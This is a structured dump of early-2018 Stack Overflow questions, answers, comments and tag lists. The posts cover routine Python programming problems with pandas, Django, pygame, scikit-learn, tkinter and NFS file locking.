has text: Thank you for your answer but this solution will not work because if I use aiohttp to fetch the pages asynchronously, I have no guarantees that page 2 will be fetched after page 1. The request will be **initiated** in the correct sequence, but there is absolutely no guarantee that the request will arrive and be processed at the endpoint in the correct sequence. This is the actual problem of the original question.
comment on: http://stackoverflow.com/a/48768870
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84529831
type: Comment
comment on: http://stackoverflow.com/a/48760317
has text: I have configured my Outlook with GMail. Ran above code exactly. It sent the mail which bounces obviously.
type: AnswerComment
score: 0

http://stackoverflow.com/q/48794369
tagged with: pandas
answer count: 1
favorite count: 0
has title: convert pandas Series of numpy matricies to Multiindex Series
type: UnansweredQuestion
tagged with: python
score: 2
downvote count: 0
has answer: http://stackoverflow.com/a/48794495
tagged with: multi-index
type: Question
has body: I have a pandas series of numpy matricies. data = [[['a','b','c'],[6,3,4]],[['d','e','f'],[2,9,4]],[['g','h','i'],[9,6,4]]] s = pd.Series(data = data) s Out[39]: 0 [[a, b, c], [6, 3, 4]] 1 [[d, e, f], [2, 9, 4]] 2 [[g, h, i], [9, 6, 4]] I want to convert it to a multiindexed series. sf Out[47]: 0 a 6 b 3 c 4 1 d 2 e 9 f 4 2 g 9 h 6 i 4 dtype: int64 sf.index Out[48]: MultiIndex(levels=[[0, 1, 2], ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i']], labels=[[0, 0, 0, 1, 1, 1, 2, 2, 2], [0, 1, 2, 3, 4, 5, 6, 7, 8]]) How can I do this?
upvote count: 2
tagged with: numpy

excel
tags question: http://stackoverflow.com/q/48676755
tags question: http://stackoverflow.com/q/48752794
tags question: http://stackoverflow.com/q/48705731
tags question: http://stackoverflow.com/q/48681536
tags question: http://stackoverflow.com/q/48753818
tags question: http://stackoverflow.com/q/48733746
tag name: excel
tags question: http://stackoverflow.com/q/48741214
tags question: http://stackoverflow.com/q/48654600
tags question: http://stackoverflow.com/q/48746692
tags question: http://stackoverflow.com/q/48654301
tags question: http://stackoverflow.com/q/48765021
tags question: http://stackoverflow.com/q/48769738
tags question: http://stackoverflow.com/q/48795741
tags question: http://stackoverflow.com/q/48719438
tags question: http://stackoverflow.com/q/48788438
tags question: http://stackoverflow.com/q/48681516
tags question: http://stackoverflow.com/q/48735167
tags question: http://stackoverflow.com/q/48686577
tags question: http://stackoverflow.com/q/48662237
tags question: http://stackoverflow.com/q/48773970
tags question: http://stackoverflow.com/q/48699286
tags question: http://stackoverflow.com/q/48773212
tags question: http://stackoverflow.com/q/48757755
tags question: http://stackoverflow.com/q/48694286
tags question: http://stackoverflow.com/q/48795387
tags question: http://stackoverflow.com/q/48783137
tags question: http://stackoverflow.com/q/48775285
tags question: http://stackoverflow.com/q/48706660
tags question: http://stackoverflow.com/q/48695396
tags question: http://stackoverflow.com/q/48763116
tags question: http://stackoverflow.com/q/48663260
tags question: http://stackoverflow.com/q/48649862
tags question: http://stackoverflow.com/q/48663698
tags question: http://stackoverflow.com/q/48796718
tags question: http://stackoverflow.com/q/48763177
type: Tag
tags question: http://stackoverflow.com/q/48772006
tags question: http://stackoverflow.com/q/48677660
tags question: http://stackoverflow.com/q/48781055
tags question: http://stackoverflow.com/q/48647122
tags question: http://stackoverflow.com/q/48748913
tags question: http://stackoverflow.com/q/48661658
tags question: http://stackoverflow.com/q/48736801
tags question: http://stackoverflow.com/q/48646256
tags question: http://stackoverflow.com/q/48659352
tags question: http://stackoverflow.com/q/48698237
tags question: http://stackoverflow.com/q/48708607
tags question: http://stackoverflow.com/q/48649078

http://stackoverflow.com/comment/84356130
comment on: http://stackoverflow.com/q/48679318
has text: So what do you want to do? Just switch between two tabs and handle both within single session?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84415741
type: Comment
has text: This is my locator: _open_actieve_polis = ({"by": By.CSS_SELECTOR, "value": "td:nth-child(2)"})
comment on: http://stackoverflow.com/a/48704421
type: AnswerComment
score: 0

http://stackoverflow.com/q/48671082
favorite count: 0
has title: Opposite of Pandas melt without index
linked to: http://stackoverflow.com/q/47152691
upvote count: 1
tagged with: python
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/48671160
type: Question
downvote count: 0
tagged with: dataframe
tagged with: pandas
accepted answer: http://stackoverflow.com/a/48671160
answer count: 1
has comment: http://stackoverflow.com/comment/84340096
has body: What is an opposite operation to pd.DataFrame.melt when no index is used? In example below I need to get the df from df2. &gt;&gt;&gt;df = pd.DataFrame({"a" : [1,2,3], "b" :[4,5,6], "c":[10,11,12]}) &gt;&gt;&gt;print(df) a b c 0 1 4 10 1 2 5 11 2 3 6 12 &gt;&gt;&gt;df2 = df.melt() &gt;&gt;&gt;print(df2) variable value 0 a 1 1 a 2 2 a 3 3 b 4 4 b 5 5 b 6 6 c 10 7 c 11 8 c 12

http://stackoverflow.com/q/48730755
answer count: 1
type: UnansweredQuestion
tagged with: phpmyadmin
tagged with: django
tagged with: python
has answer: http://stackoverflow.com/a/48730833
tagged with: mysql
has title: Unable to connect to the localhost/phpmyadmin database through my django project
type: Question
has body: I am trying to connect to the localhost/phpmyadmin through xampp server for my django project. When i type python manage.py runserver on my command prompt, i'm getting error. django.db.utils.OperationalError: (1044, "Access denied for user ''@'localhost' to database 'djangoproject'") There is no password set on my phpmyadmin, it is just by default user 'root' and password [null] I have written the below code in my manage.py file to connect to the database page. DATABASES = { 'default' : { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'djangoproject', 'USER': ' root ', 'PASSWORD': '', 'HOST': 'localhost', 'PORT':'' } } There is also this in my phpmyadmin page on the top A user account allowing any user from localhost to connect is present. This will prevent other users from connecting if the host part of their account allows a connection from any (%) host. I do not understand what is wrong. I am a beginner in django framework.
score: 0

http://stackoverflow.com/q/48660889
has title: Python: search for words in a text file and print line with line number
linked to: http://stackoverflow.com/q/32691954
type: Question
accepted answer: http://stackoverflow.com/a/48661154
linked to: http://stackoverflow.com/q/18366554
score: 0
answer count: 1
duplicate of: http://stackoverflow.com/q/18366554
has body: My goal is to create a script that search for credentials in an input file. I find endless example, even here on StackOverflow, that can teach me how to search for a range of words in a file: Example 1 Example 2 By the way, when I try to apply those rules to my script it return me nothing. Here is my code: #!/usr/bin/env python # -*- coding: utf-8 -*- import os import argparse import sys parser = argparse.ArgumentParser() parser.add_argument('-input', dest='input',help="input one or more files",metavar=None) args = parser.parse_args() GrabdirectoryFile = open(args.input,"r",encoding='UTF8') directoryFile = GrabdirectoryFile.read() HotWords = ['password', 'admin'] def search_for_lines(filename, words_list): words_found = 0 for line_no, line in enumerate(filename): if any(word in line for word in words_list): print(line_no, ':', line) words_found += 1 return words_found search_for_lines(directoryFile,HotWords) I tried following the instructions I find on the 2 links provided above but no luck. The code is definitely executed and Python returns no errors. The file contains many words and also a few 'password' and 'admin' but no line is returned. Why? EDIT: dear @Kirk Broadhurst, @SIM, @André Schild, @kasperhj, @Garrett Hyde, I tried to follow your link and and substitute my code with: with open(args.input) as openfile: for line in openfile: for part in line.split(): if "color=" in part: print (part) but unfortunately is still not working. The right solution was provided here below by @Farhan.K, I had to use readlines() instead of read()
tagged with: parsing
linked to: http://stackoverflow.com/q/23749125
tagged with: grep
tagged with: input
has answer: http://stackoverflow.com/a/48661154
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/a/48691668
type: Answer
score: 0
answers question: http://stackoverflow.com/q/48681295
has body: It is fixed by following @jeff suggestions from the comments to this question i.e. "r+y" should be "c+y".

http://stackoverflow.com/comment/84305737
has text: Thanks for posting your first answer. You could improve your answer by explicitly demonstrating the change, i.e. quoting the problematic code line and proposing a fix. Also, as this has already been done in the comments, you could/should refer to those as well.
comment on: http://stackoverflow.com/a/48653544
type: AnswerComment
type: Comment
score: 1

http://stackoverflow.com/comment/84413299
type: AnswerComment
has text: Or to select all the faces that look downwards replace print with cmds.select(face, add=True)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48707258

http://stackoverflow.com/q/48798047
tagged with: asynchronous
tagged with: concurrent.futures
favorite count: 0
has title: Concurrent Futures: Best Settings for Multiple Async Requests?
tagged with: requests-futures
type: UnansweredQuestion
tagged with: python
answer count: 0
score: 1
has body: I'm wanting to optimize a script to make as many network requests as possible. I see the max_workers is maybe limited to the number of cores on the machine. Does this mean if this script is run on an EC2 machine, for example t2.2xlarge with 8 vCPUs then the script will effectively be limited to 8, eg WORKERS = 8? If so, is there a better way to make more than 8 requests at a time? Example: WORKERS = 16 # should this be limited to 8? def make_req_futures(url_list): # We can use a with statement to ensure threads are cleaned up promptly with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as executor: # Start the load operations and mark each future with its URL future_to_url = {executor.submit(load_url, url, 60): url for url in url_list} for future in concurrent.futures.as_completed(future_to_url): url = future_to_url[future] try: print("getting: ", url) data = future.result() except Exception as exc: failed_urls.append([url, exc]) print('%r generated an exception: %s' % (url, exc)) else: success_urls.append(url) print('"%s" fetched in %ss' % (url,(time.time() - start))) print("Elapsed Time: %ss" % (time.time() - start))
upvote count: 1
type: Question
tagged with: python-2.7
downvote count: 0

http://stackoverflow.com/q/48662448
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48662561
favorite count: 0
type: Question
tagged with: seaborn
has body: I'm trying to plot the relationship of two independent variables x and y with a dependent variable score as a heatmap: x and y are integer values from 0 to infinity and score is a real value between 0 and 1. Desired appearance There are a large number of seen values for x and y, so I would like to have it look more like a typical density plot like the example below, since the exact values for each individual (x, y) are not of great importance: (example taken from Seaborn's documentation) Current approach Currently, I'm trying to use Seaborn's heatmap(..) function to plot the data, but the resulting plot is almost unreadable, with a large amount of space between each discrete data point rather than a "continuous" gradient. The logic for plotting used is as follows: import pandas as pd from matplotlib.pyplot import cm import seaborn as sns sns.set_style("whitegrid") df = read_df_using_pandas(...) table = df.pivot_table( values="score", index="y", columns="x", aggfunc='mean') ax = sns.heatmap(table, cmap=cm.magma_r) ax.invert_yaxis() fig = sns_plot.get_figure() fig.savefig("some_outfile.png", format="png") The result plot looks like the following, which is wrong, as it does not match the desired appearance described in the section above: I do not know why there is a large amount of space between each discrete data point rather than a "continuous" gradient. How can I plot the relationship between my data composed of two discrete values (x and y) which is represented as a third, scalar value (score), in a way which mimics the style of a gradient density plot? The solution need not use either Seaborn or even matplotlib.
tagged with: python
has comment: http://stackoverflow.com/comment/84323696
score: -1
tagged with: heatmap
upvote count: 2
downvote count: 3
answer count: 1
tagged with: plot
tagged with: matplotlib
has title: Plotting heatmap for two scalar values with Python
has answer: http://stackoverflow.com/a/48662561
has comment: http://stackoverflow.com/comment/84322494

http://stackoverflow.com/q/48720028
tagged with: python-unittest
tagged with: tdd
type: Question
linked to: http://stackoverflow.com/q/50956160
answer count: 2
has answer: http://stackoverflow.com/a/55770932
tagged with: mocking
has title: Cannot redirect when Django model class is mocked
upvote count: 6
favorite count: 0
tagged with: python
linked to: http://stackoverflow.com/q/74436200
has answer: http://stackoverflow.com/a/66800018
has comment: http://stackoverflow.com/comment/84471718
downvote count: 0
type: UnansweredQuestion
score: 6
tagged with: django
has comment: http://stackoverflow.com/comment/84518663
has body: I have a view here which adds a new List to the database and redirects to the List page. I have get_absolute_url configured in the model class. It seems to works perfectly. def new_list(request): form = ItemForm(request.POST) if form.is_valid(): list_ = List() list_.owner = request.user list_.save() form.save(for_list=list_) return redirect(list_) else: return render(request, 'home.html', {'form': form}) But the problem happens when I try to mock the model class and the form class with patch from unitest.mock class TestMyLists(TestCase): @patch('lists.views.List') @patch('lists.views.ItemForm') def test_list_owner_is_saved_if_user_is_authenticated( self, mockItemFormClass, mockListClass ): user = User.objects.create(email='a@b.com') self.client.force_login(user) self.client.post('/lists/new', data={'text': 'new item'}) mock_list = mockListClass.return_value self.assertEqual(mock_list.owner, user) When I run the test, I get error like this: Traceback (most recent call last): File "/home/sjsakib/.virtualenvs/superlists/lib/python3.6/site-packages/django/core/handlers/exception.py", line 35, in inner response = get_response(request) File "/home/sjsakib/.virtualenvs/superlists/lib/python3.6/site-packages/django/core/handlers/base.py", line 128, in _get_response response = self.process_exception_by_middleware(e, request) File "/home/sjsakib/.virtualenvs/superlists/lib/python3.6/site-packages/django/core/handlers/base.py", line 126, in _get_response response = wrapped_callback(request, *callback_args, **callback_kwargs) File "/mnt/BAC4BB93C4BB4FFD/codes/tdd/superlists/lists/views.py", line 36, in new_list return redirect(list_) File "/home/sjsakib/.virtualenvs/superlists/lib/python3.6/site-packages/django/shortcuts.py", line 58, in redirect return redirect_class(resolve_url(to, *args, **kwargs)) File "/home/sjsakib/.virtualenvs/superlists/lib/python3.6/site-packages/django/http/response.py", line 407, in __init__ self['Location'] = iri_to_uri(redirect_to) File "/home/sjsa…

sed
tags question: http://stackoverflow.com/q/48773484
type: Tag
tag name: sed

http://stackoverflow.com/a/52265821
has body: I solved with this command pip3 install http://download.pytorch.org/whl/cu92/torch-0.4.1-cp36-cp36m-win_amd64.whl
type: Answer
answers question: http://stackoverflow.com/q/48675722
score: 0

http://stackoverflow.com/comment/84403806
has text: Thank you! Since this change, I'm not getting the error anymore.
comment on: http://stackoverflow.com/a/48702546
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/q/48748768
upvote count: 4
has title: WinPython and OpenCV
answer count: 1
has answer: http://stackoverflow.com/a/48749315
favorite count: 0
accepted answer: http://stackoverflow.com/a/48749315
tagged with: python-3.x
has body: I use WinPython to write my python programs. I need to solve the task of detecting faces in a video stream. I have installed opencv-python to WinPython using this command: pip install opencv-python==3.4.0.12 When I run the following code, I get a False: import numpy as np import cv2 cap = cv2.VideoCapture(0) ret, img = cap.read() print(ret) What I am doing wrong?
tagged with: python
type: AnsweredQuestion
score: 3
downvote count: 1
type: Question
tagged with: opencv

http://stackoverflow.com/comment/84455267
type: AnswerComment
has text: What if I put few None values in the output of rads. Then how can i map rads to radians
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48723640

html-webpack-plugin
type: Tag
tags question: http://stackoverflow.com/q/48722223
tag name: html-webpack-plugin

http://stackoverflow.com/comment/84439931
type: QuestionComment
has text: You probably need to use `open(filename.temporary_file_path())`. [See docs](https://docs.djangoproject.com/en/2.0/ref/files/uploads/#django.core.files.uploadedfile.TemporaryUploadedFile.temporary_file_path)
comment on: http://stackoverflow.com/q/48720487
score: 0
type: Comment

http://stackoverflow.com/q/48768632
upvote count: 2
has title: printing the top 2 of frequently occurred values of the target column
tagged with: python
score: 2
type: AnsweredQuestion
has body: I have three columns like shown below, and trying to return top1 and top2 highest count of the third column. I want this output to be generated as shown in the expected output . DATA : print (df) AGE GENDER rating 0 10 M PG 1 10 M R 2 10 M R 3 4 F PG13 4 4 F PG13 CODE : s = (df.groupby(['AGE', 'GENDER'])['rating'] .apply(lambda x: x.value_counts().head(2)) .rename_axis(('a','b', 'c')) .reset_index(level=2)['c']) output : print (s) a b 4 F PG13 10 M R M PG Name: c, dtype: object EXPECTED OUTPUT : print (s[F]) ('PG13') print(s[M]) ('PG13', 'R')
has answer: http://stackoverflow.com/a/48768888
has comment: http://stackoverflow.com/comment/84538211
type: Question
has comment: http://stackoverflow.com/comment/84538400
downvote count: 0
linked to: http://stackoverflow.com/q/48719674
accepted answer: http://stackoverflow.com/a/48768888
tagged with: pandas-groupby
tagged with: pandas
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84538285

http://stackoverflow.com/comment/84426482
has text: This is the most interesting part of the traceback. It looks like it's an error with the invite link command. What could be the problem?
comment on: http://stackoverflow.com/a/48673063
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/48866634
downvote count: 0
answers question: http://stackoverflow.com/q/48728145
has body: You can do this with moviepy's CompositeAudioClip: import moviepy.editor as mpe my_clip = mpe.VideoFileClip('some_clip.mp4') audio_background = mpe.AudioFileClip('some_background.mp3') final_audio = mpe.CompositeAudioClip([my_clip.audio, audio_background]) final_clip = my_clip.set_audio(final_audio)
score: 16
type: AcceptedAnswer
upvote count: 16
has comment: http://stackoverflow.com/comment/118794821
type: Answer
has comment: http://stackoverflow.com/comment/139620067
accepted answer of: http://stackoverflow.com/q/48728145

http://stackoverflow.com/q/48726695
tagged with: pipeline
has answer: http://stackoverflow.com/a/48728037
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84453660
tagged with: scikit-learn
favorite count: 0
tagged with: python
type: AnsweredQuestion
has body: I am trying to perform scaling using StandardScaler and define a KNeighborsClassifier(Create pipeline of scaler and estimator) Finally, I want to create a Grid Search cross validator for the above where param_grid will be a dictionary containing n_neighbors as hyperparameter and k_vals as values. def kNearest(k_vals): skf = StratifiedKFold(n_splits=5, random_state=23) svp = Pipeline([('ss', StandardScaler()), ('knc', neighbors.KNeighborsClassifier())]) parameters = {'n_neighbors': k_vals} clf = GridSearchCV(estimator=svp, param_grid=parameters, cv=skf) return clf But doing this will give me an error saying that Invalid parameter n_neighbors for estimator Pipeline. Check the list of available parameters with `estimator.get_params().keys()`. I've read the documentation, but still don't quite get what the error indicates and how to fix it.
score: 1
upvote count: 1
type: Question
accepted answer: http://stackoverflow.com/a/48728037
has title: Error when using scikit-learn to use pipelines

http://stackoverflow.com/comment/84347657
has text: If you rely on the `save()` method, by all means, use it. You've said it yourself; time is not the enemy. Though, you could add the required data for those fields before the `bulk_create`/`update`. The main focus of your work should be filtering out all those rows that match or are comparable to objects in the database as efficiently as possible. Saving a couple of times vs one big bulk insert won't make much of a difference.
comment on: http://stackoverflow.com/a/48671882
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84499237
score: 0
type: Comment
has text: Hi! This code only should to capture image from camera and it shouldn't detecting faces
type: AnswerComment
comment on: http://stackoverflow.com/a/48749315

http://stackoverflow.com/comment/84586521
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48789694
has text: When I did python3.5 -m pip install statsmodels I got an error - ImportError: No module named '_sysconfigdata_m'
score: 0

http://stackoverflow.com/q/48728847
has title: How to combine 2 level column index of DataFrame into a single column index?
tagged with: pandas
downvote count: 0
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/48728986
tagged with: data-analysis
type: UnansweredQuestion
tagged with: python
upvote count: 1
type: Question
has body: I have a DataFrame like below having 2 level column index, now I have to combine it into single level column index in a pattern like "Level1_Level2" CNT_LOAN CNT_RCHG month 201605 201606 201607 201608 201609 201610 201605 id 800008184 6 4 4 4 6 9 18 800008588 NaN NaN NaN 0 NaN NaN NaN 800011836 12 13 24 19 12 17 24 800018523 4 1 5 4 0 4 9 800024880 3 6 3 4 8 5 10
has answer: http://stackoverflow.com/a/48728943
answer count: 2

http://stackoverflow.com/comment/84447409
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48724187
score: 0
has text: Off-topic: I strongly suggest you read and start following the [PEP 8 - Style Guide for Python Code](https://www.python.org/dev/peps/pep-0008/) guidelines for naming things, especially [variable names](https://www.python.org/dev/peps/pep-0008/#prescriptive-naming-conventions).

http://stackoverflow.com/q/48674539
type: UnansweredQuestion
tagged with: python
has title: AttributeError: 'NoneType' object has no attribute 'add_internal
answer count: 0
has comment: http://stackoverflow.com/comment/84537068
has comment: http://stackoverflow.com/comment/84347590
type: Question
has body: I am making a 2d platforming game in Pygame. 'AttributeError: 'NoneType' object has no attribute 'add_internal'' This error is occuring on this line: self.sprites.add(playerbanner) class Player(pygame.sprite.Sprite): def __init__(self,classname,movementspeed,jumpheight,damage,x,y,sprites,platforms,bullets,banner,spawndirection): super().__init__() self.classname=classname self.speed=movementspeed self.height=jumpheight self.damage=damage self.x=x self.y=y self.banner=banner self.startdirectionspawn=spawndirection self.walking=False self.jumping=False self.currentframe=0 self.lastupdate=0 self.velocityx=0 self.velocityy=0 self.accelerationy=0 self.lastpress=1 self.loadframes(classname) self.image=self.stationary self.rect=self.image.get_rect() self.rect.center=(self.x,self.y) self.image.set_colorkey(BLACK) self.sprites=sprites self.platforms=platforms self.bullets=bullets def countdown(self): gamecountdown(6) def updateposition(self,hit,jump): if self.accelerationy&lt;0: hit=False if self.accelerationy!=0: jump=False if hit==False: self.accelerationy+=0.1 if jump==True: self.accelerationy=-15 if hit==True: self.velocityy=0 self.velocityx=0 self.accelerationy=0 pressed=pygame.key.get_pressed() if pressed[pygame.K_a]: self.velocityx=-self.speed self.animate('left') self.lastpress='a' if pressed[pygame.K_d]: self.velocityx=self.speed self.animate('right') self.lastpress='d' if not pressed[pygame.K_a] and not pressed[pygame.K_d]: if self.lastpress=='d': self.image=self.stationary elif self.lastpress=='a': self.image=self.stationarya self.x+=self.velocityx self.y+=self.velocityy + (0.2*self.accelerationy) self.rect.center=(self.x,self.y) playerbanner=messagedisplay(self.banner,BLACK,self.x-15,self.y-50, 30, 30, 'smallfont') self.sprites.add(playerbanner) self.image.set_colorkey(BLACK) pygame.display.update() I am trying to get a 'player 1' to print above the player's head. When I do not put it into a group, it still prints, but flickers on and off. The group print stateme…
has comment: http://stackoverflow.com/comment/84538470
score: 0

http://stackoverflow.com/a/48777796
has body: Don't use input as it blocks the thread(main thread which the GUI uses) while it waits for the input. Instead, use Entry as the input, and Label as the print as this is a GUI anyway: # File: farmer_john_field # Author: Elijah Cherry # Course: CS-1010 # Original Problem: Draw specified image and calculate area of darkened region from tkinter import * from tkinter import ttk import math root = Tk() win = Canvas(root, width = 500, height = 500) win.grid() def main(): def display_image(): # point a = 200,200 # point b = 300,200 # point c = 300,300 # point d = 200,300 # points move clockwise from top left (north west) quadrant # rectangle to fill rear area rectangle_back = win.create_rectangle (200,200, 300,300, fill="gray") # circles will be placed by top left corner and bottom right corner circle_a = win.create_oval (200-50, 200-50, 200+50, 200+50, fill="white") # a xtl, a ytl a xbr a ybr circle_b = win.create_oval (300-50, 200-50, 300+50, 200+50, fill="white") # b xtl, b ytl b xbr b ybr circle_c = win.create_oval (300-50, 300-50, 300+50, 300+50, fill="white") # c xtl, c ytl c xbr c ybr circle_d = win.create_oval (200-50, 300-50, 200+50, 300+50, fill="white") # d xtl, d ytl d xbr d ybr # rectangle outline rectangle_outline = win.create_rectangle (200,200, 300,300, outline="gray") # texts (labels for points a b c d) text_a = win.create_text (200,200, anchor="se", text="A", fill="black") text_b = win.create_text (300,200, anchor="sw", text="B", fill="black") text_c = win.create_text (300,300, anchor="nw", text="C", fill="black") text_d = win.create_text (200,300, anchor="ne", text="D", fill="black") def display_the_query(): query_label = Label(root, text="Enter length of one side of the square ABCD: ") query_entry = Entry(root) # to be able to track the entry text # . notation to attach it as an attribute query_entry.var = StringVar() # to attaching the attribute as the displayed text query_entry['textvariable'] = query_entry.var result_label = Label(root) # to actually …
type: Answer
answers question: http://stackoverflow.com/q/48753805
accepted answer of: http://stackoverflow.com/q/48753805
upvote count: 1
score: 1
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/48770531
upvote count: 16
has title: How to do proper file locking on NFS?
has comment: http://stackoverflow.com/comment/84542929
has comment: http://stackoverflow.com/comment/84682614
has comment: http://stackoverflow.com/comment/84542193
tagged with: nfs
answer count: 3
has comment: http://stackoverflow.com/comment/84542692
linked to: http://stackoverflow.com/q/29611352
favorite count: 0
has comment: http://stackoverflow.com/comment/84542837
tagged with: linux
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/46159099
has answer: http://stackoverflow.com/a/48939512
tagged with: python
has comment: http://stackoverflow.com/comment/84689516
has body: I am trying to implement a "record manager" class in python 3x and linux/macOS. The class is relatively easy and straightforward, the only "hard" thing I want is to be able to access the same file (where results are saved) on multiple processes. This seemed pretty easy, conceptually: when saving, acquire an exclusive lock on the file. Update your information, save the new information, release exclusive lock on the file. Easy enough. I am using fcntl.lockf(file, fcntl.LOCK_EX) to acquire the exclusive lock. The problem is that, looking on the internet, I am finding a lot of different websites saying how this is not reliable, that it won't work on windows, that the support on NFS is shaky, and that things could change between macOS and linux. I have accepted that the code won't work on windows, but I was hoping to be able to make it work on macOS (single machine) and on linux (on multiple servers with NFS). The problem is that I can't seem to make this work; and after a while of debugging and after the tests passed on macOS, they failed once I tried them on the NFS with linux (ubuntu 16.04). The issue is an inconsistency between the informations saved by multiple processes - some processes have their modifications missing, which means something went wrong in the locking and saving procedure. I am sure there is something I am doing wrong, and I suspect this may be related to the issues that I read about online. So, what is the proper way to deal multiple access to the same file that works on macOS and linux over NFS? Edit This is what the typical method that writes new informations to disk looks like: sf = open(self._save_file_path, 'rb+') try: fcntl.lockf(sf, fcntl.LOCK_EX) # acquire an exclusive lock - only one writer self._raw_update(sf) #updates the records from file (other processes may have modified it) self._saved_records[name] = new_info self._raw_save() #does not check for locks (but does *not* release the lock on self._save_file_path) finally: sf.flush() os.f…
downvote count: 0
has comment: http://stackoverflow.com/comment/84683833
has comment: http://stackoverflow.com/comment/84689463
has answer: http://stackoverflow.com/a/48861890
score: 16
has comment: http://stackoverflow.com/comment/84689530
type: Question
tagged with: multiprocessing
has answer: http://stackoverflow.com/a/48859259
tagged with: locking
has comment: http://stackoverflow.com/comment/84682599
has comment: http://stackoverflow.com/comment/84542377

http://stackoverflow.com/comment/84495499
type: Comment
type: QuestionComment
has text: If what you want to append is a list of 5 elements instead the elements themselves just use `squares_dict[1].append([key,xmax,ymax,xmin,ymin])`... you can replace the `[]` with `()` (list vs. tuple. Both will be accepted by `append`)
comment on: http://stackoverflow.com/q/48747676
score: 0

api
tags question: http://stackoverflow.com/q/48688356
tags question: http://stackoverflow.com/q/48692372
tags question: http://stackoverflow.com/q/48740198
tags question: http://stackoverflow.com/q/48769441
tags question: http://stackoverflow.com/q/48660015
tags question: http://stackoverflow.com/q/48797523
type: Tag
tags question: http://stackoverflow.com/q/48754226
tags question: http://stackoverflow.com/q/48694625
tags question: http://stackoverflow.com/q/48784431
tags question: http://stackoverflow.com/q/48753710
tags question: http://stackoverflow.com/q/48797892
tag name: api
tags question: http://stackoverflow.com/q/48674386
tags question: http://stackoverflow.com/q/48776616
tags question: http://stackoverflow.com/q/48767975
tags question: http://stackoverflow.com/q/48793661
tags question: http://stackoverflow.com/q/48650819
tags question: http://stackoverflow.com/q/48786875
tags question: http://stackoverflow.com/q/48757836
tags question: http://stackoverflow.com/q/48772801
tags question: http://stackoverflow.com/q/48755072
tags question: http://stackoverflow.com/q/48660441
tags question: http://stackoverflow.com/q/48692562

http://stackoverflow.com/a/49041548
answers question: http://stackoverflow.com/q/48675883
score: 0
type: Answer
has body: So PyCharm is fun. But essentially you don’t need to do anything. It should work “out of the box”. If you’re experiencing issues, post the error output so we can better assist you! In general though pycharm will try and use a venv so make sure that you’re selecting your system interpreter. If it’s installed in your system then you don’t need to get it “through” pycharm because it’s just doing the same thing as pip (for the most part). That said, because you’re using python 3+ you need to pip install pyttsx3 Then import pyttsx3 pyttsx was not made for python 3+ and has some serious incompatibilities with it. Whereas pyttsx3 is the updated version that was made for python 3+.

http://stackoverflow.com/q/48802065
tagged with: python
answer count: 0
score: 0
has comment: http://stackoverflow.com/comment/84607009
has comment: http://stackoverflow.com/comment/84609077
type: Question
has comment: http://stackoverflow.com/comment/84609879
has comment: http://stackoverflow.com/comment/84607103
has title: Only last object inside for loop is being saved in Django Python
has comment: http://stackoverflow.com/comment/84606822
has comment: http://stackoverflow.com/comment/84606830
type: UnansweredQuestion
has body: When I loop through for loop, only last comment object is getting saved. I'm instantiating the object every time in the loop. Do I need to pass anything else after save() method in for loop? Here is my code in views.py file : def create_form(request): post = Post() post.name = 'Post Tite' post.save() listofmessages = [{'message':'comment1'},{'message':'comment2'},{'message':'comment3'}] for obj in listofmessages: comments = Comments() comments.post = post comments.message = obj['message'] comments.save() return render(request, 'post/news_post.html', {}) Code in models.py file: class Post(models.Model): created_at = models.DateTimeField(default=timezone.now, editable=False) updated_at = models.DateTimeField(default=timezone.now) name = models.CharField(max_length=100) objects = UserManager() class Comments(models.Model): created_at = models.DateTimeField(default=timezone.now, editable=False) updated_at = models.DateTimeField(default=timezone.now) post = models.ForeignKey(Post, on_delete=models.CASCADE) message = models.CharField(max_length=5000, default='') objects = UserManager()
has comment: http://stackoverflow.com/comment/84607416
tagged with: django

http://stackoverflow.com/a/48715025
type: AcceptedAnswer
upvote count: 6
has comment: http://stackoverflow.com/comment/84431402
accepted answer of: http://stackoverflow.com/q/48713465
answers question: http://stackoverflow.com/q/48713465
downvote count: 0
score: 6
type: Answer
has comment: http://stackoverflow.com/comment/84431337
has body: Yes, that should be possible like this : (Note that I have removed copy_table_after, because we just want to copy the table) def replaceText(document, search, replace): for table in document.tables: for row in table.rows: for paragraph in row.cells: if search in paragraph.text: paragraph.text = replace document = Document('Test.docx') template = document.tables[0] tbl = template._tbl # Here we do the copy of the table new_tbl = deepcopy(tbl) # Then we do the replacement replaceText(document, '&lt;&lt;VALUE_TO_FIND&gt;&gt;', 'New value') paragraph = document.add_paragraph() # After that, we add the previously copied table paragraph._p.addnext(new_tbl)
has comment: http://stackoverflow.com/comment/126429697

http://stackoverflow.com/comment/84554838
comment on: http://stackoverflow.com/a/48774325
score: 0
type: AnswerComment
type: Comment
has text: Im very sorry! Yeah I tested it out and it works perfectly, thank you so much.

http://stackoverflow.com/comment/84603912
type: AnswerComment
has text: Do you think this might be a duplicate of https://stackoverflow.com/questions/29580978/naturally-sorting-pandas-dataframe?
comment on: http://stackoverflow.com/a/48790876
score: 0
type: Comment

http://stackoverflow.com/a/48704421
has comment: http://stackoverflow.com/comment/84415572
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84419928
has comment: http://stackoverflow.com/comment/84416055
has comment: http://stackoverflow.com/comment/84421666
has comment: http://stackoverflow.com/comment/84415890
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84411445
has comment: http://stackoverflow.com/comment/84411557
